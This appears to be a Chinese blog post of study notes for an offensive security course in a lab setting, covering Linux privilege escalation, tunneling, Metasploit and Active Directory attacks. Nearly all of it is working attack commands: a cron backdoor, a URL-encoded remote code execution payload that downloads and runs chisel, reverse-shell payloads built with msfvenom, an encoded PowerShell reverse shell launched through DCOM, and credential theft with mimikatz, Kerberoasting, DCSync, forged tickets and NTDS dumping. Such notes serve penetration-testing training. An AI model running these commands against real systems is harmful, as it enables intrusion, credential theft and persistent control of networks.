17.3.1 利用CRON
查看cron日志
1 | grep "CRON" /var/log/syslog |
关注root定时运行的文件,找到后查看内容和权限
1 | cat /home/joe/.scripts/user_backups.sh |
可写,插入一句话后门
1 | cd .scripts |
17.3.2 利用密码校验
/etc/passwd可写
1 | openssl passwd w00t |
17.4 不安全系统组件
17.4.1 利用Setuid二进制文件
查看文件的SUID标志位
1 | ls -asl /usr/bin/passwd |
find
1 | find /home/joe/Desktop -exec "/usr/bin/bash" -p \; |
getcap
1 | /usr/sbin/getcap -r / 2>/dev/null |
perl
1 | perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";' |
更多suid提权利用查看
17.4.2 sudo利用
查看当前用户可以使用的特权命令
1 | sudo -l |
查看https://gtfobins.github.io/,发现
1 | COMMAND='id' |
没有成功,提示
1 | failed: Permission denied |
查看日志
1 | cat /var/log/syslog | grep tcpdump |
发现是AppArmor限制了,root权限后查看apparmor状态信息
1 | su - root |
换一个apt-get
1 | sudo apt- changelog apt |
提权成功
17.4.3 内核漏洞提权
查看架构及内核版本信息
1 | cat /etc/issue |
搜索漏洞
1 | searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation" | grep "4." | grep -v " < 4.4.0" | grep -v "4.8" |
1 | cp /usr/share/exploitdb/exploits/linux/local/45010.c . |
提权成功
本篇对应教材第18章,主要内容”Linux端口转发”、”SSH隧道”、”Windows端口转发”,记录使用工具和命令
18.2 使用linux工具端口转发
18.2.3 socat端口转发
跳板机上
1 | socat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432 |
kali上连接跳板机的2345端口就会转发到内网10.4.50.215:5432端口
1 | psql -h 192.168.50.63 -p 2345 -U postgres |
登录postgres数据库,查看数据库信息,查看表信息,查看内容
1 | \l |
获得密码进行暴力破解
1 | hashcat -m 12001 hashes.txt /usr/share/wordlists/fasttrack.txt |
破解出密码后,在跳板机上做端口转发
1 | socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22 |
kali上ssh连上去
1 | ssh database_admin@192.168.50.63 -p2222 |
18.3 SSH隧道
18.3.1 本地端口转发
kali(192)—跳板1(192和10)—跳板2(10和172)–目标(172)
ssh需要交互式shell操作,需要在跳板1上转换交互式shell
1 | python3 -c 'import pty; pty.spawn("/bin/bash")' |
在跳板2上发现172段,查看路由,并扫描172段存活主机445端口
1 | ip route |
发现一台
1 | 172.16.50.217 445 |
现在想要在kali上连接172段的445端口
在跳板1上做本地端口转发到跳板2的172段
1 | ssh -N -L 0.0.0.0:4455:172.16.50.217:445 database_admin@10.4.50.215 |
kali上连接
1 | smbclient -p 4455 -L //192.168.50.63/ -U hr_admin --password=Welcome1234 |
成功下载172主机上的ps1文件
18.3.2 动态端口转发
kali(192)—跳板1(192和10)—跳板2(10和172)–目标(172)
跳板1上开启9999端口做socks代理
1 | python3 -c 'import pty; pty.spawn("/bin/bash")' |
kali上设置proxychains4
1 | tail /etc/proxychains4.conf |
1 | proxychains smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234 |
18.3.3 远程端口转发
kali(192)—跳板1(192和10)—跳板2(10和172)–目标(172)
kali上开启ssh服务
1 | sudo systemctl start ssh |
跳板1上ssh连接kali
1 | python3 -c 'import pty; pty.spawn("/bin/bash")' |
连接成功后kali上会开启2345端口,kali上连接自己的2345就是跳板2的5432端口
1 | ss -ntplu |
18.3.4 远程动态端口转发
kali(192)—跳板1(192和10)—跳板2(10和172)–目标(172)
跳板1上ssh连接kali
1 | python3 -c 'import pty; pty.spawn("/bin/bash")' |
连接成功后kali上开启了9998的socks代理
1 | sudo ss -ntplu |
18.3.5 sshuttle
kali(192)—跳板1(192和10)—跳板2(10和172)–目标(172)
跳板1上做端口转发
1 | socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22 |
kali上通过跳板1的转发ssh到跳板2上,并添加10和172网段
1 | sshuttle -r database_admin@192.168.50.63:2222 10.4.50.0/24 172.16.50.0/24 |
连接成功后kali可以直接访问10和172段
1 | smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234 |
18.4 Windows端口转发工具
18.4.1 ssh.exe
kali(192)—win跳板1(192和10)—目标(10)
kali上开启ssh服务
1 | sudo systemctl start ssh |
rdp到跳板1上,找到ssh.exe,连接kali
1 | xfreerdp /u:rdp_admin /p:P@ssw0rd! /v:192.168.50.64 |
kali上开启了9998的socks代理,配置proxychains后可以连10段主机
1 | ss -ntplu |
18.4.2 plink
kali(192)—防火墙(屏蔽连接跳板1的3389端口)—win跳板1(192)
开上开启80端口web服务供下载文件
1 | sudo systemctl start apache2 |
跳板1上使用webshell下载nc,反弹shell到kali上
1 | powershell wget -Uri http://192.168.118.4/nc.exe -OutFile C:\Windows\Temp\nc.exe |
下载plink后,做ssh到kali,开启kali的9833端口,连接到跳板1的3389端口
1 | C:\Windows\Temp\plink.exe -ssh -l kali -pw <YOUR PASSWORD HERE> -R 127.0.0.1:9833:127.0.0.1:3389 192.168.118.4 |
kali上查看开启端口,并rdp本机9833就是跳板1的3389端口
1 | ss -ntplu |
18.4.3 Netsh
kali(192)—win跳板1(192和10)—目标(10)
跳板1上做转发
1 | xfreerdp /u:rdp_admin /p:P@ssw0rd! /v:192.168.50.64 |
映射跳板2222端口到目标的22端口,查看跳板2222是否开放及代理列表
1 | netstat -anp TCP | find "2222" |
kali扫描跳板的2222端口
1 | sudo nmap -sS 192.168.50.64 -Pn -n -p2222 |
不成功,因为Windows防火墙会阻止kali连接2222端口,防火墙增加一条规则,允许入向连接2222端口
1 | netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip=192.168.50.64 localport=2222 action=allow |
kali连接目标成功
1 | sudo nmap -sS 192.168.50.64 -Pn -n -p2222 |
删除防火墙及代理策略
1 | netsh advfirewall firewall delete rule name="port_forward_ssh_2222" |
本篇对应教材第19章,主要内容”HTTP隧道”、”DNS隧道”,记录使用工具和命令
19.1 HTTP隧道
19.1.2 使用chisel搭建HTTP隧道
kali(192)—linux跳板1(192和10)—目标(10)
kali开启web服务提供下载chisel使用,并开启chisel反向代理
1 | sudo systemctl start apache2 |
在linux跳板1上下载并执行
1 | wget 192.168.118.4/chisel -O /tmp/chisel && chmod +x /tmp/chisel |
linux跳板1上是使用web漏洞进行命令执行的,需要url编码
1 | curl http://192.168.50.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27wget%20192.168.118.4/chisel%20-O%20/tmp/chisel%20%26%26%20chmod%20%2Bx%20/tmp/chisel%27%29.start%28%29%22%29%7D/ |
kali上查看,默认是1080端口开socks服务,安装ncat,ssh到10段通过本地的1080端口socks转发
1 | ss -ntplu |
19.2 DNS隧道
19.2.2 使用dnscat2搭建DNS隧道
kali(192)—……—跳板(任意和172)–目标(172)
前提是跳板发出的dns请求不管转发多少次,最终由kali上的服务端解析
在kali上启动dnscat2的服务端
1 | dnscat2-server feline.corp |
启动后会开启53端口监听
跳板上启动dnscat2客户端
1 | ./dnscat feline.corp |
运行成功后会在服务端看到客户端连接成功,查看并配置客户端转发策略,就可以本地连接目标172主机
1 | windows |
本篇对应教材第20章,主要内容”熟悉Metasploit框架”、”MSF载荷”、”使用MSF后渗透”和”自动化MSF”,记录使用工具和命令
20.1 熟悉Metasploit框架
20.1.1 MSF基本设置
数据库初始化
1 | sudo msfdb init |
如果想开机启动数据库可以
1 | sudo systemctl enable postgresql |
启动MSF并查看数据库状态
1 | sudo msfconsole |
帮助命令
1 | help |
查看并新建工作区
1 | workspace |
nmap扫描并将结果存进数据库
1 | db_nmap |
在数据库里查看主机、服务、指定端口服务
1 | hosts |
命令帮助信息查询
1 | show -h |
20.1.2 工具模块
查看
1 | show auxiliary |
搜索并使用,查看工具模块说明、参数等
1 | search type:auxiliary smb |
设置参数,取消设置,从数据库中筛选设置,运行,查看结果
1 | set RHOSTS 192.168.50.202 |
ssh登录尝试工具搜索并使用,查看正确的账号密码
1 | search type:auxiliary ssh |
20.1.3 漏洞利用模块
创建工作区,搜索漏洞利用工具,查看并设置参数,设置payload及参数,运行
1 | workspace -a exploits |
成功后获得shell,使用Ctrl+z然后y将session置于后台,列举所有sessions,进入某个session,取消某个session
1 | sessions -l |
后台监听和持续监听
1 | run -j |
20.2 MSF载荷
20.2.1 分段与非分段载荷
查看载荷
1 | show payloads |
一般看有_的是非分段,有/是分段载荷,例如
1 | shell_reverse_tcp 非分段 |
20.2.2 Meterpreter载荷
查看,使用,查看参数,在漏洞利用中使用
1 | show payloads |
获得权限,查看帮助
1 | meterpreter > help |
查看系统信息
1 | sysinfo |
获得shell,置于后台,查看所有shell信息,进入后台指定shell
1 | shell |
查看本地路径,切换本地路径,下载文件,读取本地文件,上传文件,查看目标机器文件,退出
1 | meterpreter > lpwd |
20.2.3 可执行有效载荷
查看、生成(非分段)、下载、执行、获得shell
1 | msfvenom -l payloads --platform windows --arch x64 |
分段载荷需要在MSF的multi/handler下使用,否则nc监听拿到shell无法执行命令
生成,启动msf,使用multi/handler
1 | msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.119.2 LPORT=443 -f exe -o staged.exe |
后台运行,查看job
1 | run -j |
20.3 使用MSF后渗透
20.3.1 核心后渗透功能
生成payload,上传,运行,获得shell
1 | msfvenom -p windows/x64/meterpreter_reverse_https LHOST=192.168.119.4 LPORT=443 -f exe -o met.exe |
后渗透功能:查看空闲时间、提权、进程迁移、隐藏窗口运行
1 | idletime |
20.3.2 后渗透模块
bypass UAC
1 | getsystem |
mimikatz获取hash
1 | use exploit/multi/handler |
20.3.3 设置路由和代理
1 | ipconfig |
自动设置路由
1 | use multi/manage/autoroute |
设置代理
1 | use auxiliary/server/socks_proxy |
配置,使用
1 | tail /etc/proxychains4.conf |
端口转发
1 | sessions -i 12 |
20.4 自动化MSF
20.4.1 资源脚本
创建脚本文件listener.rc
1 | use exploit/multi/handler |
加载脚本文件
1 | sudo msfconsole -r listener.rc |
运行payload
1 | iwr -uri http://192.168.119.4/met.exe -Outfile met.exe |
获得shell并自动迁移到notepad进程,并后台运行
其他系统自带脚本
1 | ls -l /usr/share/metasploit-framework/scripts/resource |
本篇对应教材第21章,主要内容”AD域手动枚举”、”AD域手动枚举拓展”、”AD域自动枚举”,记录使用工具和命令
21.2 AD域手动枚举
21.2.1 Windows旧工具
枚举域用户,查询制定域用户,查询域组,查询组成员
1 | xfreerdp /u:stephanie /d:corp.com /v:192.168.50.75 |
21.2.2 使用powershell和.NET枚举
枚举当前域信息
1 | [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() |
编写脚本,并加载运行
enumeration.ps1
1 | # Store the domain object in the $domainObj variable |
1 | powershell -ep bypass |
查询DC域控
1 | # Store the domain object in the $domainObj variable |
用adsi检索DN
1 | ([adsi]'').distinguishedName |
1 | # Store the domain object in the $domainObj variable |
LDAP枚举
1 | $PDC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name |
1 | PS C:\Users\stephanie> .\enumeration.ps1 |
21.2.3 在脚本中增加搜索功能
使用DirectoryEntry和DirectorySearcher进行搜索
1 | $PDC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name |
会得到很多信息,进一步检索主机用户信息
1 | $PDC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name |
枚举每个属性
1 | $domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() |
查看某个用户(jeffadmin)所属的组
1 | $dirsearcher = New-Object System.DirectoryServices.DirectorySearcher($direntry) |
做成函数方便自定义参数进行搜索
1 | function LDAPSearch { |
使用的时候,先导入
1 | Import-Module .\.ps1 |
搜索用户、组
1 | LDAPSearch -LDAPQuery "(samAccountType=805306368)" |
搜索组中的对象
1 | foreach ($group in $(LDAPSearch -LDAPQuery "(objectCategory=group)")) {$group.properties | select {$_.cn}, {$_.member}} |
搜索某个组里的成员
1 | $sales = LDAPSearch -LDAPQuery "(&(objectCategory=group)(cn=Sales Department))" |
如有组嵌套可以继续使用上面方法搜索成员
21.2.4 使用PowerView枚举AD
导入
1 | Import-Module .\PowerView.ps1 |
枚举域信息、域用户、域用户名、筛选域用户信息、组名、组下成员
1 | Get-NetDomain |
21.3 AD域手动枚举-拓展
21.3.1 枚举操作系统
继续PowerView枚举,枚举域主机、筛选主机名和操作系统
1 | Get-NetComputer |
21.3.2 获取已登录用户
查看当前用户能访问域内哪些主机
1 | Find-LocalAdminAccess |
使用当前用户访问域内主机获取信息
1 | Get-NetSession -ComputerName files04 -Verbose |
如果可以访问
1 | Get-NetSession -ComputerName client74 |
针对Windows11操作系统可能无法远程获取到上面信息,因为权限不够,可以查看低版本的操作系统
1 | Get-NetComputer | select dnshostname,operatingsystem,operatingsystemversion |
然后可以尝试使用其他工具进行连接枚举已登录用户,比如PsLoggedOn
1 | .\PsLoggedon.exe \\files04 |
21.3.3 通过SPN(服务主体名)枚举
列出某个账号的SPN,是向dc进行查询
1 | setspn -L iis_service |
也可以用PowerView枚举
1 | Get-NetUser -SPN | select samaccountname,serviceprincipalname |
针对结果中web服务查,看域名对用的ip
1 | nslookup.exe web04.corp.com |
21.3.4 枚举对象权限
枚举当前用户权限,使用PowerView
1 | Get-ObjectAcl -Identity stephanie |
在结果中针对SID标识转换成对象进行查看
1 | Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-1104 |
可以获得SecurityIdentifier对ObjectSID的权限ActiveDirectoryRights是ReadProperty
查看所有对”Management Department”组有GenericAll的权限
1 | Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights |
查看结果中所有sid信息
1 | "S-1-5-21-1987370270-658905905-1781884369-512","S-1-5-21-1987370270-658905905-1781884369-1104","S-1-5-32-548","S-1-5-18","S-1-5-21-1987370270-658905905-1781884369-519" | Convert-SidToName |
发现当前用户有权限,然后将自己加入到Management Department组
1 | net group "Management Department" stephanie /add /domain |
可以成功,再删除
1 | net group "Management Department" stephanie /del /domain |
21.3.5 枚举域共享
PowerView
1 | Find-DomainShare |
访问域共享,powershell下
1 | ls \\dc1.corp.com\sysvol\corp.com\ |
获得hash,在kali下可以破解
1 | gpp-decrypt "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE" |
查看其他共享获得敏感文件
1 | ls \\FILES04\docshare |
邮件中有密码明文
21.4 自动枚举
21.4.1 SharpHound自动枚举
导入、帮助
1 | Import-Module .\Sharphound.ps1 |
获取域信息
1 | Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\stephanie\Desktop\ -OutputPrefix "corp audit" |
生成zip包文件,下载进行分析
21.4.2 使用BloodHound进行分析
kali下开启数据库
1 | sudo neo4j start |
登录后提示改密码
启动bloodhound
1 | bloodhound |
登录neo4j数据库后,在gui界面导入zip包,在界面”Database Info”可以查看域相关所有信息,在”Analysis”可以看到预设的分析策略,比如
1 | Find all Domain Admins |
将获得到权限的用户和主机右键标记为”Mark User as Owned”,然后重新规划获得域控的最短路径
本篇对应教材第22章,主要内容”AD身份认证”、”AD身份认证攻击”,记录使用工具和命令
22.1 AD身份认证
22.1.1 NTLM认证
认证时使用ip地址,一共7个步骤
client — server — DC
1 | client使用密码计算ntlm |
22.1.2 Kerberos认证
变换了认证模式
client — DC(KDC)
client — server
过程是client向DC请求票据,然后使用票据访问server。
22.1.3 缓存AD认证信息
hash一般存储在LSASS中,使用mimikatz来dump hash
1 | xfreerdp /cert-ignore /u:jeff /d:corp.com /p:HenchmanPutridBonbon11 /v:192.168.50.75 |
滥用TGT和服务票证进行身份验证,获取自己和其他用户的票据
1 | dir \\web04.corp.com\backup |
可以看到TGT和TGS
22.2 AD身份认证攻击
22.2.1 密码喷洒攻击
密码暴力破解会导致密码锁死,所以要先查看密码策略
1 | net accounts |
如果有密码锁定次数,如5次/30分钟,就只能测试4次/30分钟,不然就会被锁定
1)一般用密码喷洒(使用LDAP和ADSI)
1 | $domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() |
如果正确
1 | distinguishedName : {DC=corp,DC=com} |
错误会显示”The user name or password is incorrect.”
1 | cd C:\Tools |
2)利用SMB密码喷洒
1 | crackmapexec smb 192.168.50.75 -u users.txt -p 'Nexus123!' -d corp.com --continue-on-success |
3)基于TGT密码喷洒
1 | .\kerbrute_windows_amd64.exe passwordspray -d corp.com .\usernames.txt "Nexus123!" |
22.2.2 AS-REP烘焙
在kali下使用一个域账号及密码向DC请求AS-REQ,验证成功会返回AS-REPKey和TGT,就可以破解密码了。
1 | impacket-GetNPUsers -dc-ip 192.168.50.70 -request -outputfile hashes.asreproast corp.com/pete |
破解
1 | hashcat --help | grep -i "Kerberos" |
Windows下可以使用Rubeus.exe,使用当前用户权限
1 | cd C:\Tools |
/nowrap去掉空格,复制下来破解
1 | sudo hashcat -m 18200 hashes.asreproast2 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force |
枚举可以使用PowerView命令,或者kali上使用impacket-GetNPUsers
1 | Get-DomainUser -PreauthNotRequired |
22.2.3 Kerberoasting
在Windows上使用Rubeus,使用当前用户获取SPN然后请求DC获得TGS-REP
1 | .\Rubeus.exe kerberoast /outfile:hashes.kerberoast |
破解
1 | hashcat --help | grep -i "Kerberos" |
kali上使用impacket-GetUserSPNs,需要一个域账号和密码
1 | sudo impacket-GetUserSPNs -request -dc-ip 192.168.50.70 corp.com/pete |
一般获得的是SPN服务账号的hash,破解
1 | sudo hashcat -m 13100 hashes.kerberoast2 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force |
22.2.4 白银票据
在指导SPN服务账号和hash的情况下,使用域SID和SPN,修改不具备权限的用户票据。
1 | iwr -UseDefaultCredentials http://web04 |
mimikatz进行获取域SID和SPN账号hash
1 | privilege::debug |
这个SID也可以查看当前用户获得
1 | whoami /user |
域SID是去掉最后一段
用mimiaktz伪造票据
1 | kerberos::golden /sid:S-1-5-21-1987370270-658905905-1781884369 /domain:corp.com /ptt /target:web04.corp.com /service:http /rc4:4d28cf5252d39971419580a51484ca09 /user:jeffadmin |
查看票据,再访问,就可以成功访问了
1 | klist |
22.2.5 DC同步(dcsync)
需要域管理员或者企业管理员具有同步权限的用户权限
Windows下使用mimikatz获得制定用户的hash
1 | cd C:\Tools\ |
破解
1 | hashcat -m 1000 hashes.dcsync /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force |
kali上使用impacket-secretsdump
1 | impacket-secretsdump -just-dc-user dave corp.com/jeffadmin:"BrouhahaTungPerorateBroom2023\!"@192.168.50.70 |
本篇对应教材第23章,主要内容”AD横向移动技术”、”AD持久化”,记录使用工具和命令
23.1 AD横向移动技术
23.1.1 WMI和WinRM
WMI:Windows管理接口(使用135端口和19152-65535之前的高端口),创建计算器进程
1 | wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create "calc" |
使用powershell
1 | $username = 'jen'; |
要获得反弹shell,可以使用powershell反弹,先做编码
1 | import sys |
注意编码utf16
1 | python3 encode.py |
1 | $username = 'jen'; |
WinRM:远程主机管理(使用5986https和5985http)
1 | winrs -r:files04 -u:jen -p:Nexus123! "cmd /c hostname & whoami" |
powershell
1 | $username = 'jen'; |
23.1.2 PsExec
条件
1 | 用户是本地administrators组 |
1 | ./PsExec64.exe -i \\FILES04 -u corp\jen -p Nexus123! cmd |
23.1.3 hash传递(pth)
条件
1 | smb的445端口可访问 |
1 | /usr/bin/impacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C425E Administrator@192.168.50.73 |
23.1.4 hash跨越
获得一台机器的用户(本地管理员system权限)后,有与管理员登录的话,使用mimikatz获得其他用户hash(域管理员),就可以使用hash跨越
1 | privilege::debug |
创建域管权限的进程
1 | sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell |
查看票据
1 | klist |
23.1.5 票据传递
场景:当前用户没有权限访问某共享文件夹,使用mimikatz获得另一个具有权限的票据TGS,然后导入就可以访问了
1 | whoami |
23.1.6 DCOM(分布式组件对象模型)
使用135端口
powershell
1 | $dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.50.73")) |
远程运行计算器,换成反弹shell
1 | $dcom.Document.ActiveView.ExecuteShellCommand("powershell",null,"powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACgAKIAMQA9A...AC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA","7") |
23.2 AD持久化
23.2.1 黄金票据
使用krbtgt的hash伪造票据
1 | PsExec64.exe \\DC1 cmd.exe |
在任意机器上先删除错误票据,为指定用户创建黄金票据,开启指定用户的cmd
1 | kerberos::purge |
然后访问DC1,需要使用主机名,使用IP会无法访问
1 | PsExec.exe \\dc1 cmd.exe |
23.2.2 Shadow副本
使用域管备份
1 | vshadow.exe -nw -p C: |
拷贝文件到指定目录
1 | copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit.bak |
注册表获取system
1 | reg.exe save hklm\system c:\system.bak |
获得上面两个文件后可以获得所有用户hash
1 | impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL |
结束语
- CTRl+D 将本网站:ycc77.com添加到书签栏哦~
- 需要资源,记得将ycc77.cn 添加到书签栏哦~
- QQ交流群:660264846(满)
- QQ交流群2:721170435
- B站: 疯狂的杨CC
- 抖音: 疯狂的杨CC
- 快手: 疯狂的杨CC
- 公众号:SGY安全
- 91: 疯狂的杨CC
- p站: 疯狂的杨CC


